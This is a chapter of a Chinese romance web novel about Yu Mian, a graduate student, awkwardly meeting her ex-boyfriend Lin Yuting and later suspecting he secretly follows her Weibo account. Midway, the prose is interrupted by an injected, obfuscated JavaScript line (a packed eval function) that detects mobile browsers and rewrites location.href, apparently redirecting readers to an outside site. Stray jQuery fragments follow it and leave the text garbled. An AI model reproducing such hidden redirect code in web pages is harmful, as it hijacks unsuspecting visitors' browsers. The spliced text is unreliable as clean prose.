虞眠盯着电梯,视线没有焦点。


    还不如套上白大褂呢,穿了那件衣服,她还能安慰自己,那是医生,不是她前男友。


    没有那件衣服,这个人真正变成了蔺煜庭。


    一想到刚刚和前男友十指相扣,她浑身都不得劲儿。


    “在附近工作吗?”男人冷不丁地开口。


    谈锦闻言,惊讶地扭头看向虞眠。


    虞眠意识到蔺煜庭是在问她,朝他看了一眼,尔后回答:


    “不是,重返校园了。”


    “哦,”蔺煜庭淡声,“我以为你不回京市了呢。”


    虞眠早就习惯了他这样的说话方式,乍一听是久别重逢的问候,仔细一想,又像是在拐弯抹角地刺她。


    “叮”地一声,电梯门打开,蔺煜庭大步走进去。那速度之快,还颇有几分避之不及的意味。


    虞眠僵着身子没动。


    那人转过身,面对着她,撩起眼皮,倨傲地扫过她的面庞。


    她本来不想进去的,离蔺煜庭越近,她脑子就越不灵光,行为变得笨拙又缓慢。按理说多年不见,再大的恩怨应该也放下了,可她就是觉得别扭,嗓子跟堵了一块潮湿的棉花一样,脸色极为难看。


    谈锦狐疑地瞧了她一眼,“干嘛呢?站着做什么?”


    眼看着舍友进了电梯,虞眠只能跟着走,步伐显得很局促。


    蔺煜庭漫不经心地垂眸等着。


    电梯的门合上,映出那人模糊的身影,长身玉立。


    谈锦压低声音问虞眠,“你认识他?”


    不知道是不是她的错觉,她总觉得虞眠和蔺煜庭之间的氛围很古怪,哪里不对她也说不出来,就感觉两人之间暗流涌动,气氛不大和谐。


    轿厢下降,有一瞬间的失重感。感官被放大,虞眠的鼻尖动了动,嗅到了那人身上淡淡的木质檀香。


    她点点头,用谈锦能听到的声音说:“以前一个高中的,算学长。”


    虞眠说完,心虚地朝旁边瞟了一眼,想着自己也没说错,在一起之前两人就是普通校友的关系。


    蔺煜庭没反应,眼皮重重跳了一下。


    电梯抵达声再次响起,三人出了电梯。


    隆冬时节,天空黑得格外早,雪还未停。蔺煜庭的背影没入夜幕里。


    出了医院,北风肆虐地刮在脸上,冷得虞眠抱起双臂。


    谈锦从背包里拿出两个毛绒帽,将其中一个给虞眠戴上,然后用肩轻轻撞了一下她,“蔺院好绝!我的天!”


    “霍清姿人是讨厌了点,但眼光是真独到。”她啧啧了两声:“我说虞眠,你认识他这么早,怎么不去勾搭一下?可别便宜了霍清姿啊。”


    虞眠摸了摸毛绒帽檐的软毛,轻轻说了声谢谢,呼出一团白雾,没再言语。


    怎么没勾搭,那不是失败了吗。


    出了大门,谈锦先一步走到台阶前,探头望着。虞眠从兜里摸出手机,正准备叫车,一辆加长的黑色商务车闪着车灯在大门处缓缓停下。


    虞眠对车不了解,只看出来这车比她平时见到的更长些,车身黑如曜石,线条流畅。


    主驾驶座下来一位穿着正装的男人,他朝虞眠微微鞠躬,侧了个身,“虞小姐,蔺先生说送你们回学校,两位上车吧。”


    后排的车窗降半,蔺煜庭清绝的眉眼隐在昏暗里,喜怒难辨。


    没人说话。


    谈锦双手环在胸前,好整以暇地看着虞眠。


    虞眠手上动作快,整整呼叫了十二个车型,抬眼望向车里,晃晃自己的手机:“不用,我们已经打到车了。”


    司机面不改色,回身请示。


    见蔺煜庭朝他颔首,便转身对虞眠说,“那两位回去的路上注意安全。”


    虞眠“嗯”一声,司机重新回到车上。


    车尾气和大雪糅杂在一起,驶离她的视线。


    “这人没他们说得那么冷傲,看起来挺好接触的。”谈锦说。


    虞眠盯着页面上的“第18位/共34位”的字样发呆。


    蔺煜庭看着温和,对谁都礼貌谦逊,又凭着一副爹妈给的好皮囊,叫人怎么都挑不出错来,但虞眠很清楚,他那是瞧不上。


    瞧不上,情绪自然就没有波动,见谁都懒懒的,虚与委蛇一下就行,实际连对方姓甚名谁、什么时候认识的,他都没印象。


    诚然,他不可能不认识虞眠。只是蔺煜庭这个人,要真想送她回去,不会只在分别时敷衍式地问一句场面话。


    她再清楚不过了。


    “没事儿,你取消用车吧,我们的车快到了,”谈锦看了眼手机,语气轻快:“怪我做事太严密,提前打好了车,错过了跟帅哥近距离接触的机会,可惜啊可惜。”


    虞眠眉眼弯弯,歪在谈锦肩头,瓮声瓮气道:“谈宝真好。”


    上了车,司机十分健谈,跟谈锦聊了一路,两人跟说相声似的,你一句我一句。虞眠将头倚在车窗上,像是累极了,一路都没说话。


    司机等这两个小姑娘下车,自顾自地喃喃:“怎么有辆黑色埃尔法一直跟着我呢?”


    总保持着一个不远不近的位置,他加速对方也加速,他减速对方也减速。


    他启动车子,刚拐了个弯,又狐疑地瞥了眼后视镜。


    欸?不见了。


    看来是他想多了,那车里坐的大概是某位知名人物,今天回母校赞助吧。


    平台已经为他自动匹配了下一位乘客,他看了眼手机屏幕,没再多虑。


    -


    虞眠回到宿舍,室内开着地暖,热烘烘的。她没什么胃口,随便吃了点零食,换上睡衣,拿着药膏和纱布去卫生间。


    京大分给研究生的宿舍是两人间,房间宽敞,上床下桌,还带个小厨房,卫生间干湿分离,环境比虞眠以前的学校好很多。


    虞眠戴上发箍,挤了泵洗面奶,将脸洗干净。她摘下毛巾盖在脸上,直到脸上的水珠被吸收掉,她才将暖热的毛巾取下。


    她拆了药膏敷在手上,裹上纱布,感觉凉咝咝的,手腕没之前那么难捱了。


    她从卫生间出来的时候,谈锦正在煎鸡蛋饼,锅里沸腾着滋滋声,她扭头问虞眠要不要吃,虞眠摇摇头,揣着手机,爬到上铺躺着。


    床帘一阵晃动,紧接着轻轻垂下来。这是专属于她的小世界,待在这里她觉得很安全。


    虞眠摁亮手机屏幕,点击大眼图标,用左手丝滑地发了一条微博。


    @眠眠复眠眠:无语,早知道某人在,我说什么也不踏进这家医院!


    发完她还细细欣赏了一番,对着这行字读了三遍。


    她这号互关的好友不多,零星几个还是之前追星认识的网友。后来生活变忙,虞眠也不怎么追星了,经常在这上面吐槽枯燥的读研生活,偶尔也会发发日常照片。


    消息那栏很快有了新评论,是个素未谋面的网友。大概因为之前她给对方评论过,所以礼尚往来,对方也来关心一下她。


    @Yiiii:姐妹生病了?


    虞眠轻动手指,回复对方:不碍事,小毛病。


    发完,她漫无目的地看了眼热搜,基本上都是最近流行的电视剧和一些明星的新闻。


    这几年短视频兴起,加上图文软件几乎代替了搜索引擎,大量用户聚集在小红书和抖音,微博这几年流量越来越差,跟她读大学那会儿比不了。


    但虞眠恋旧,从高中开始就习惯了在微博发泄自己的情绪,也


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203002|197274||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    懒得换平台。


    屋里响起轻微的关门声,是谈锦端着盘子进来了,她咬了一口蛋饼,声音含混不清:“对了,你周六下午有时间吗?大琦她们班缺个素描模特,让我问问你。”


    “不行哎,”虞眠翻了个身,“周六有陶瓷展,余老师让我去看看。”


    “那我帮你回了。她上个星期就问过我,我给忙忘了,应该早点跟你说的。”


    虞眠的导师姓余,大家私底下都喊他老鱼头。老鱼头人不错,但非常严肃,跟其他导师比起来,他对学生的要求更高。


    她们专业和纯艺方向一样隶属于美术学院,平时交流挺多的,虞眠之前有给那边的学生当过速写模特,一上午几百块钱。


    说实在的,虞眠觉得自己的长相只能算还可以,跟时下流行的浓颜脸相去甚远。


    单个五官都不算顶美,眼睛不够大,鼻子也称不上精致。可能是脸上比例生得好,用那群搞美术的话来说就是三庭五眼匀称,怎么长都丑不了。


    在学校被要联系方式是常有的,但也就止步于此了。如果让她靠脸吃饭,那恐怕是不行的,最多也就吃吃小美女的颜值红利,偶尔给人当模特拍拍照什么的,赚点兼职钱。


    有时候她也会幻想,是不是自己更漂亮一些,蔺煜庭就能对她恋恋不忘了。可转念一想,算了吧,人家什么地位啊,不论她长成什么样,都有更年轻更貌美的姑娘出现在他身边。


    自己充其量也就是一碗清粥小菜,咽下去就忘了。可清粥小菜,什么地方没有呢。


    虞眠的指尖滑动着首页,刷了一下推荐,有点百无聊赖,正准备退出来时,消息那栏多了一个小红点。


    她照例点进去,发现是一个新的点赞。


    ID是一串英文,头像是一个欧美男人的侧脸,好像是某部电影的截图,她不大记得了。


    一般看到这种陌生ID,虞眠是懒得点对方主页的,大概率是卖货博主或者骗子,但她觉得这张图很有腔调,于是鬼使神差地存了下来。


    指尖下滑,她顺带着浏览了一下主页。


    这一看,把虞眠吓一跳。


    该用户的关注为0,只有一条微博。


    是张风景照,定位在英国的N大。这条微博发布于两年前的12月23日。


    虞眠心里涌上一股说不清道不明的感觉,好像有根细细的羽毛在她心脏上拨弄着。


    有点痒,又找不到苗头。


    脑子里飞速转动,不到三秒钟,她就推算出来那个时间点,他刚好在英国。


    虞眠眨巴着眼睛,觉得自己有些草木皆兵了。她微博id没跟任何人提过,而且以那人的性格也绝不会做出偷偷看前女友社交账号的行为。


    她从他的主页退出来,准备在离开微博之前,把新发的那条吐槽改成仅自己可见。


    不管怎么说,背后嘴人这件事总归不太好。


    可奇怪的是,这条微博的点赞为0。刚刚不是有个赞吗?虞眠揉揉眼睛,又刷新了一下,发现还是如此。


    虞眠回到软件的消息界面,刚刚提示的那个点赞跟从没存在过一样,犹如被大雪覆盖,消弭得无影无踪。


    她撑着手肘从床上坐起来。


    今天是怎么回事,她出现幻觉了吗?


    虞眠在大脑里检索着刚刚发生的每一个细节,愣神了三分钟,终于从相册里扒拉出来了那张头像。


    不是幻觉。


    她冷眼瞧着屏幕上那个欧美男人,他头发短短的,穿着件酷酷的黑色上衣,头微侧,露出一只消瘦的耳朵。


    虞眠眼尾微拢,将大拇指和食指轻轻捻起,放在男人耳朵的位置上,像是要把人从屏幕里揪出来似的。


    蔺煜庭,逮到你了。